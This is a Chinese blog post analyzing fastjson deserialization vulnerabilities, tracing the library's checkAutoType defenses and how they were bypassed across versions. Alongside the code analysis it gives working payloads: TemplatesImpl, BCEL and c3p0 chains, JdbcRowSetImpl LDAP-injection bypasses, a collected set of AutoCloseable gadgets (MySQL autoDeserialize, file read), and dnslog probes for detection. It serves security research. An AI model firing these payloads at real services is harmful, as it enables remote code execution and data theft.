前言 fastjson在序列化以及反序列化的过程中并没有使用Java自带的序列化机制,,而是自定义了一套机制.使其利用角度不局限于传统的readobject,利用方法更加多元化,再加上其灵活全面的json解析方案,使得传统的流量waf很难做到有效拦截
由此可以看出强大的工具在提供便利开放的服务的同时,也会带来更多意想不到的安全问题
fastjson序列化和反序列化 Fastjson 是一个高性能的 Java JSON 库,由阿里巴巴集团开发和维护。它提供了简单易用的 API,可以在Json 与Java Bean 对象之间进行快速、灵活的转换。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 public class People { private String name = "mayylu" ; private int age = 18 ; public String getName () { return name; } public void setName (String name) { this .name = name; } public int getAge () { return age; } public void setAge (int age) { this .age = age; } } import com.alibaba.fastjson.*;public class test { public static void main (String[] args) { People peo = new People(); String Json = JSON.toJSONString(peo, SerializerFeature.WriteClassName); JSONObject obj = JSON.parseObject(Json); System.out.println(obj.getClass()); System.out.println(obj.get("age" )); System.out.println(obj.get("name" )); } }
JSON.parse 和 JSON.parseObject parseObject 1 2 3 4 5 6 7 8 9 10 11 12 public static JSONObject parseObject (String text) { Object obj = parse(text); if (obj instanceof JSONObject) { return (JSONObject) obj; } try { return (JSONObject) JSON.toJSON(obj); } catch (RuntimeException e) { throw new JSONException("can not cast to JSONObject." , e); } }
parse getter/setter方法需要满足的要求 具体逻辑在 com.alibaba.fastjson.util.JavaBeanInfo.build() 中。目的是筛选目标类里复合要求的getter/setter方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 public static JavaBeanInfo build (Class<?> clazz, Type type, PropertyNamingStrategy propertyNamingStrategy) { JSONType jsonType = clazz.getAnnotation(JSONType.class); Class<?> builderClass = getBuilderClass(jsonType); Field[] declaredFields = clazz.getDeclaredFields(); Method[] methods = clazz.getMethods(); Constructor<?> defaultConstructor = getDefaultConstructor(builderClass == null ? clazz : builderClass); Constructor<?> creatorConstructor = null ; Method buildMethod = null ; List<FieldInfo> fieldList = new ArrayList<FieldInfo>(); ... if (defaultConstructor != null ) { TypeUtils.setAccessible(defaultConstructor); } for (Method method : methods) { int ordinal = 0 , serialzeFeatures = 0 , parserFeatures = 0 ; String methodName = method.getName(); if (Modifier.isStatic(method.getModifiers())) { continue ; } Class<?> returnType = method.getReturnType(); if (!(returnType.equals(Void.TYPE) || returnType.equals(method.getDeclaringClass()))) { continue ; } if (method.getDeclaringClass() == Object.class) { continue ; } Class<?>[] types = method.getParameterTypes(); if (types.length == 0 || types.length > 2 ) { continue ; } if (annotation == null && methodName.length() < 4 ) { continue ; } if (annotation == null && !methodName.startsWith("set" )) { continue ; } char c3 = methodName.charAt(3 ); String propertyName; if (Character.isUpperCase(c3) || c3 > 512 ) { if (TypeUtils.compatibleWithJavaBean) { propertyName = TypeUtils.decapitalize(methodName.substring(3 )); } else { propertyName = Character.toLowerCase(methodName.charAt(3 )) + methodName.substring(4 ); } } else if (c3 == '_' ) { propertyName = methodName.substring(4 ); } else if (c3 == 'f' ) { propertyName = methodName.substring(3 ); } else if (methodName.length() >= 5 && Character.isUpperCase(methodName.charAt(4 ))) { propertyName = TypeUtils.decapitalize(methodName.substring(3 )); } else { continue ; } for (Method method : methods) { int ordinal = 0 , serialzeFeatures = 0 , parserFeatures = 0 ; String methodName = method.getName(); if (methodName.length() < 4 ) { continue ; } if (Modifier.isStatic(method.getModifiers())) { continue ; } if (builderClass == null && methodName.startsWith("get" ) && Character.isUpperCase(methodName.charAt(3 ))) { if (method.getParameterTypes().length != 0 ) { continue ; } if (Collection.class.isAssignableFrom(method.getReturnType()) || Map.class.isAssignableFrom(method.getReturnType()) || AtomicBoolean.class == method.getReturnType() || AtomicInteger.class == method.getReturnType() || AtomicLong.class == method.getReturnType() ) { FieldInfo fieldInfo = getField(fieldList, propertyName); if (fieldInfo != null ) { continue ; } .....
如何寻找get/set方法 fastjson 在为类属性寻找 get/set 方法 时,调用函数 com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#smartMatch() 方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 public FieldDeserializer smartMatch (String key) { if (key == null ) { return null ; } .... if (fieldDeserializer == null ) { boolean snakeOrkebab = false ; String key2 = null ; for (int i = 0 ; i < key.length(); ++i) { char ch = key.charAt(i); if (ch == '_' ) { snakeOrkebab = true ; key2 = key.replaceAll("_" , "" ); break ; } else if (ch == '-' ) { snakeOrkebab = true ; key2 = key.replaceAll("-" , "" ); break ; } } .....
自动进行 base64 解码 如果 Field 类型为 byte[],将会调用com.alibaba.fastjson.parser.JSONScanner#bytesValue 进行 base64 解码,对应的,在序列化时也会进行 base64 编码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 public <T> T parseObject (Type type, Object fieldName) { int token = lexer.token(); if (token == JSONToken.NULL) { lexer.nextToken(); return null ; } if (token == JSONToken.LITERAL_STRING) { if (type == byte [].class) { byte [] bytes = lexer.bytesValue(); lexer.nextToken(); return (T) bytes; } public byte [] bytesValue() { return IOUtils.decodeBase64(text, np + 1 , sp); }
突破parse调用getters的限制 根据build函数,parse 会识别并调用目标类的 setter 方法及某些特定条件的 getter 方法,而 parseObject 由于多执行了 JSON.toJSON(obj),所以在处理过程中会调用反序列化目标类的所有 setter 和 getter 方法
JSONObject嵌套 当前object为JSONObject类型时,将会对当前的这个key调用 toString 函数。JSONObject是Map的子类,在执行toString() 时会将当前类转为字符串形式,会提取类中所有的Field,自然会执行相应的 getter 、is等方法
$ref 当fastjson版本>=1.2.36时,可以通过$ref指定被引用的属性
Fastjson加载字节码 我们在利用 @type 构造有危害的利用链时,主要就是查找有危害的无参数的构造函数、符合条件的getter和setter。
TemplatesImpl利用链 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 import com.alibaba.fastjson.*;import com.alibaba.fastjson.parser.Feature;public class test { public static void main (String[] args) { String evilCode=Base64.getEncoder().encodeToString(new byte [][]{ClassPool.getDefault().get(Evil.class.getName()).toBytecode()}); String json="{\"@type\": \"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\n" + " \"_bytecodes\": [\"" +evilCode+"\"],\n" + " \"_name\": \"Code\",\n" + " \"_tfactory\": {},\n" + " \"_outputProperties\": {}\n" + " }\n" + "}" ; JSON.parseObject(json, Feature.SupportNonPublicField); } }
需要开启Feature.SupportNonPublicField,比较鸡肋
bcel利用链(在Java 8u251以后,bcel类被删除) 在前面我们说过bcel自定义的ClassLoader可以将传入的classname当作字节码来加载,所以我们只需要关注哪里可以自定义类加载器即可,我们找到了 org.apache.tomcat.dbcp.dbcp2.BasicDataSource 调用链:BasicDataSource.getConnection() > createDataSource() > createConnectionFactory()
1 2 3 4 5 6 7 8 9 10 11 12 public class BasicDataSource implements DataSource , BasicDataSourceMXBean , MBeanRegistration , AutoCloseable {protected ConnectionFactory createConnectionFactory () throws SQLException { ... if (driverClassLoader == null ) { driverFromCCL = Class.forName(driverClassName); } else { driverFromCCL = Class.forName(driverClassName, true , driverClassLoader); } ...
1 2 3 4 5 6 7 8 9 10 11 12 13 { { "@type" : "com.alibaba.fastjson.JSONObject" , "x" :{ "@type" : "org.apache.tomcat.dbcp.dbcp2.BasicDataSource" , "driverClassLoader" : { "@type" : "com.sun.org.apache.bcel.internal.util.ClassLoader" }, "driverClassName" : "$$BCEL$$$l$8b$I$A$..." } }: "x" }
c3p0二次反序列化 C3P0是一个开源的JDBC连接池,它实现了数据源和JNDI绑定,支持JDBC3规范和JDBC2的标准扩展。使用它的开源项目有Hibernate、Spring等
1 2 3 4 { "@type" : "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource" , "userOverridesAsString" : "HexAsciiSerializedMap:aced000...6f;" }
c3p0很久之前就遇到了,但是感觉这个链子没有什么新东西,就没有写博客,之前没写过,这里就详细写写
利用链 想解析userOverridesAsString属性,至少需要调用两次构造函数,第一次初始化时userOverridesAsString的值设为NULL,第二次为fastjson触发的set方法调用
懒得分析了真没什么特殊的地方 parseUserOverridesAsString:314, C3P0ImplUtils (com.mchange.v2.c3p0.impl) vetoableChange:110, WrapperConnectionPoolDataSource$1 (com.mchange.v2.c3p0) fireVetoableChange:375, VetoableChangeSupport (java.beans) fireVetoableChange:271, VetoableChangeSupport (java.beans) setUserOverridesAsString:387, WrapperConnectionPoolDataSourceBase (com.mchange.v2.c3p0.impl)
最后调用parseUserOverridesAsString方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 public static Map parseUserOverridesAsString (String userOverridesAsString) throws IOException, ClassNotFoundException { if (userOverridesAsString != null ) { String hexAscii = userOverridesAsString.substring("HexAsciiSerializedMap" .length() + 1 , userOverridesAsString.length() - 1 ); byte [] serBytes = ByteUtils.fromHexAscii(hexAscii); return Collections.unmodifiableMap((Map)SerializableUtils.fromByteArray(serBytes)); } else { return Collections.EMPTY_MAP; } } public static Object fromByteArray (byte [] var0) throws IOException, ClassNotFoundException { Object var1 = deserializeFromByteArray(var0); return var1 instanceof IndirectlySerialized ? ((IndirectlySerialized)var1).getObject() : var1; } public static Object deserializeFromByteArray (byte [] var0) throws IOException, ClassNotFoundException { ObjectInputStream var1 = new ObjectInputStream(new ByteArrayInputStream(var0)); return var1.readObject(); }
fastjson高版本绕过 fastjson-1.2.25 在版本 1.2.25 中,官方对之前的反序列化漏洞进行了修复,引入了 checkAutoType 安全机制
可以看到示例代码已经无法执行了
添加反序列化白名单有3种方法: 1.使用代码进行添加:ParserConfig.getGlobalInstance().addAccept(“org.su18.fastjson.,org.javaweb.”) 2.加上JVM启动参数:-Dfastjson.parser.autoTypeAccept=org.su18.fastjson. 3.在fastjson.properties中添加:fastjson.parser.autoTypeAccept=org.su18.fastjson.
打开autotype功能 1、JVM启动参数 -Dfastjson.parser.autoTypeSupport=true
2、代码中设置 ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
checkAutoType com.alibaba.fastjson.parser.ParserConfig
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 public Class<?> checkAutoType(String typeName, Class<?> expectClass) { if (typeName == null ) { return null ; } if (autoTypeSupport || expectClass != null ) { for (int i = 0 ; i < acceptList.length; ++i) { String accept = acceptList[i]; if (className.startsWith(accept)) { return TypeUtils.loadClass(typeName, defaultClassLoader); } } for (int i = 0 ; i < denyList.length; ++i) { String deny = denyList[i]; if (className.startsWith(deny)) { throw new JSONException("autoType is not support. " + typeName); } } } Class<?> clazz = TypeUtils.getClassFromMapping(typeName); if (clazz == null ) { clazz = deserializers.findClass(typeName); } if (clazz != null ) { if (expectClass != null && !expectClass.isAssignableFrom(clazz)) { throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName()); } return clazz; } if (!autoTypeSupport) { for (int i = 0 ; i < denyList.length; ++i) { String deny = denyList[i]; if (className.startsWith(deny)) { throw new JSONException("autoType is not support. " + typeName); } } for (int i = 0 ; i < acceptList.length; ++i) { String accept = acceptList[i]; if (className.startsWith(accept)) { clazz = TypeUtils.loadClass(typeName, defaultClassLoader); if (expectClass != null && expectClass.isAssignableFrom(clazz)) { throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName()); } return clazz; } } } if (clazz == null ) { clazz = TypeUtils.getClassFromMapping(typeName); } if (clazz != null ) { if (TypeUtils.getAnnotation(clazz,JSONType.class) != null ) { return clazz; } ..... if (!autoTypeSupport) { throw new JSONException("autoType is not support. " + typeName); } if (clazz == null ) { clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false ); } return clazz;
也就是说默认只能符合白名单检测 ,开启autoType****只有黑名单检测
TypeUtils loadClass com.alibaba.fastjson.util.TypeUtils
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 public static Class<?> loadClass(String className, ClassLoader classLoader) { if (className == null || className.length() == 0 ) { return null ; } Class<?> clazz = mappings.get(className); if (clazz != null ) { return clazz; } if (className.charAt(0 ) == '[' ) { Class<?> componentType = loadClass(className.substring(1 ), classLoader); return Array.newInstance(componentType, 0 ).getClass(); } if (className.startsWith("L" ) && className.endsWith(";" )) { String newClassName = className.substring(1 , className.length() - 1 ); return loadClass(newClassName, classLoader); } try { if (classLoader != null ){ clazz = classLoader.loadClass(className); if (cache) { mappings.put(className, clazz); } return clazz; } }
示例 在开启开启 autoType的情况下,使用带有描述符的类绕过黑名单的限制,而在类加载过程中,描述符还会被处理掉。
1 2 3 4 5 { "@type" :"Lcom.sun.rowset.JdbcRowSetImpl;" , "dataSourceName" :"ldap://127.0.0.1:23457/Command8" , "autoCommit" :true }
fastjson-1.2.42 改动一 作者将原本的明文黑名单转为使用了 Hash 黑名单 ,防止安全人员对其研究。(谜之操作)
改动二 在checkAutoType开头处 进行判断,如果类的第一个字符是 L 结尾是 ;,则使用 substring进行了去除
1 2 3 4 5 6 7 8 9 10 11 final long BASIC = 0xcbf29ce484222325L ; final long PRIME = 0x100000001b3L ; if ((((BASIC ^ className.charAt(0 )) * PRIME) ^ className.charAt(className.length() - 1 )) * PRIME == 0x9198507b5af98f0L ) { className = className.substring(1 , className.length() - 1 ); }
示例 只删了1次,双写绕过即可
1 2 3 4 5 { "@type" :"LLcom.sun.rowset.JdbcRowSetImpl;;" , "dataSourceName" :"ldap://127.0.0.1:23457/Command8" , "autoCommit" :true }
fastjson 1.2.43 增加了限制:如果以L开头;结尾,并且开头是两个LL的话,将会抛出异常
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 if ((((BASIC ^ className.charAt(0 )) * PRIME) ^ className.charAt(className.length() - 1 )) * PRIME == 0x9198507b5af98f0L ) { if ((((BASIC ^ className.charAt(0 )) * PRIME) ^ className.charAt(1 )) * PRIME == 0x9195c07b5af5345L ) { throw new JSONException("autoType is not support. " + typeName); } className = className.substring(1 , className.length() - 1 ); }
示例 但是作者好像忘了‘[’
1 2 3 4 5 { "@type" :"[com.sun.rowset.JdbcRowSetImpl" [, {"dataSourceName" :"ldap://127.0.0.1:23457/Command8" , "autoCommit" :true }
fastjson-1.2.44 在此版本将 [
也进行修复了之后,由字符串处理导致的黑名单绕过也就告一段落了。
fastjson-1.2.47(通杀) 1.2.25-1.2.32版本:未开启AutoTypeSupport时能成功利用,开启AutoTypeSupport反而不能成功触发;
1.2.33-1.2.47版本:无论是否开启AutoTypeSupport,都能成功利用;
可以看如果如果是白名单模式,只能使用@type加载白名单规定的类,JSONType,自定义转换类(如果有),和一些无害类,但是我们可以利用缓存机制进行绕过
checkAutoType 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 if (autoTypeSupport || expectClass != null ) { long hash = h3; for (int i = 3 ; i < className.length(); ++i) { hash ^= className.charAt(i); hash *= PRIME; if (Arrays.binarySearch(acceptHashCodes, hash) >= 0 ) { clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false ); if (clazz != null ) { return clazz; } } if (Arrays.binarySearch(denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null ) { throw new JSONException("autoType is not support. " + typeName); } } } if (clazz == null ) { clazz = TypeUtils.getClassFromMapping(typeName); } if (clazz == null ) { clazz = deserializers.findClass(typeName); } if (clazz != null ) { if (expectClass != null && clazz != java.util.HashMap.class && !expectClass.isAssignableFrom(clazz)) { throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName()); } return clazz; } if (!autoTypeSupport) { long hash = h3; for (int i = 3 ; i < className.length(); ++i) { char c = className.charAt(i); hash ^= c; hash *= PRIME; if (Arrays.binarySearch(denyHashCodes, hash) >= 0 ) { throw new JSONException("autoType is not support. " + typeName); } if (Arrays.binarySearch(acceptHashCodes, hash) >= 0 ) { if (clazz == null ) { clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false ); } if (expectClass != null && expectClass.isAssignableFrom(clazz)) { throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName()); } return clazz; } } } ...... if (clazz == null ) { clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false ); }
也就是说即使传入的类名在黑名单里,但是Mapping缓冲里有该类名也不会报错,并且直接返回
TypeUtils 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 public class TypeUtils { public static Class<?> getClassFromMapping(String className){ return mappings.get(className); } public static Class<?> loadClass(String className, ClassLoader classLoader, boolean cache) { ... try { if (classLoader != null ){ clazz = classLoader.loadClass(className); if (cache) { mappings.put(className, clazz); } return clazz; } } catch (Throwable e){ e.printStackTrace(); } try { ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader(); if (contextClassLoader != null && contextClassLoader != classLoader){ clazz = contextClassLoader.loadClass(className); if (cache) { mappings.put(className, clazz); } return clazz; } } catch (Throwable e){ } try { clazz = Class.forName(className); mappings.put(className, clazz); return clazz; } catch (Throwable e){ } return clazz; }
也就是说如果已经加载的类,当我们再次调用时,会直接加载,我们看看别的地方有没有也调用loadClass
MiscCodec 在MiscCodec中如果传入类是java.lang.Class,会解析 json 中 “val” 中的内容,并放入 objVal 中,如果不是 “val” 将会报错。最终作为参数调用loadClass方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 Object objVal; if (parser.resolveStatus == DefaultJSONParser.TypeNameRedirect) { parser.resolveStatus = DefaultJSONParser.NONE; parser.accept(JSONToken.COMMA); if (lexer.token() == JSONToken.LITERAL_STRING) { if (!"val" .equals(lexer.stringVal())) { throw new JSONException("syntax error" ); } lexer.nextToken(); } else { throw new JSONException("syntax error" ); } parser.accept(JSONToken.COLON); objVal = parser.parse(); parser.accept(JSONToken.RBRACE); } else { objVal = parser.parse(); } String strVal; if (objVal == null ) { strVal = null ; } else if (objVal instanceof String) { strVal = (String) objVal; } ..... if (clazz == Class.class) { return (T) TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader()); }
示例 1 2 3 4 5 6 7 8 9 10 11 12 { "1" :{ "@type" :"java.lang.Class" , "val" :"com.sun.rowset.JdbcRowSetImpl" } "2" :{ "@type" :"com.sun.rowset.JdbcRowSetImpl" , "dataSourceName" :"ldap://127.0.0.1:9999/EXP" , "autoCommit" :"true" } }
fastjson-1.2.68 官方在 1.2.48 对漏洞进行了修复,在 MiscCodec 处理 Class 类的地方,设置了cache 为 false ,并且 loadClass 重载方法的默认的调用改为不缓存
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) { .............. if (clazz == null ) { clazz = TypeUtils.getClassFromMapping(typeName); } if (clazz != null ) { if (expectClass != null && clazz != java.util.HashMap.class && !expectClass.isAssignableFrom(clazz)) { throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName()); } return clazz; } ..... if (!autoTypeSupport) { ...... if (expectClass != null ) { if (expectClass.isAssignableFrom(clazz)) { TypeUtils.addMapping(typeName, clazz); return clazz; } else { throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName()); } } if (!autoTypeSupport) { throw new JSONException("autoType is not support. " + typeName); } if (clazz != null ) { TypeUtils.addMapping(typeName, clazz); } return clazz;
这种机制可以看成两个type,且第一个type已经在mapping中或是白名单中就可以顺利加载,并且可以成为第二个type的expectClass 第二个type,如果没有被过滤,并且是expectClass 的子类或实现,就会被加载并添加到缓存中
有可控的 expectClass 的入参方式 有AutoCloseable ,Throwable 等
1 2 3 4 5 6 7 8 9 { "x" :{ "@type" :"java.lang.Exception" , "@type" :"org.openqa.selenium.WebDriverException" }, "content" :{ "$ref" :"$x.systemInformation" } }
AutoCloseable绕过 这个java.lang.AutoCloseable接口存在于mapping的缓存中 所以只要找到一个类实现了AutoCloseable接口的类,并且这个类不存在于黑名单中就可以利用了
暂时不想写 收集了一些payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 {"name" : {"@type" : "java.lang.AutoCloseable" , "@type" : "com.mysql.jdbc.JDBC4Connection" , "hostToConnectTo" : "127.0.0.1" , "portToConnectTo" : 3306 , "info" : { "user" : "CommonsCollections5" , "password" : "pass" , "statementInterceptors" : "com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor" , "autoDeserialize" : "true" , "NUM_HOSTS" : "1" }} {"@type" :"java.lang.AutoCloseable" ,"@type" :"com.mysql.cj.jdbc.ha.LoadBalancedMySQLConnection" ,"proxy" : {"connectionString" :{"url" :"jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=CommonsCollections5" }}} {"@type" :"java.lang.AutoCloseable" ,"@type" :"com.mysql.cj.jdbc.ha.ReplicationMySQLConnection" ,"proxy" :{"@type" :"com.mysql.cj.jdbc.ha.LoadBalancedConnectionProxy" ,"connectionUrl" :{"@type" :"com.mysql.cj.conf.url.ReplicationConnectionUrl" , "masters" :[{"host" :"127.0.0.1" }], "slaves" :[],"properties" :{"host" :"127.0.0.1" ,"user" :"CommonsCollections5" ,"dbname" :"dbname" ,"password" :"pass" ,"queryInterceptors" :"com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor" ,"autoDeserialize" :"true" }}}} { "abc" : { "@type" : "java.lang.AutoCloseable" , "@type" : "org.apache.commons.io.input.BOMInputStream" , "delegate" : { "@type" : "org.apache.commons.io.input.ReaderInputStream" , "reader" : { "@type" : "jdk.nashorn.api.scripting.URLReader" , "url" : "file:///D:/1.txt" }, "charsetName" : "UTF-8" , "bufferSize" : 1024 }, "boms" : [{ "charsetName" : "UTF-8" , "bytes" : [66 ] }] }, "address" : { "$ref" : "$.abc.BOM" } }
实战 这里先贴几个版本探测的payload,个人感觉挺好用的Set[{"name":{"@type":"java.net.Inet4Address","val":"heknpm.dnslog.cn"}}]
[{"a":"a\x]
探测出网{"name":{"@type":"java.net.Inet4Address","val":"cx7xrs.ceye.io"}
{"@type":"java.net.InetSocketAddress"{"address":,"val":"wefewffw.dnslog.cn"}}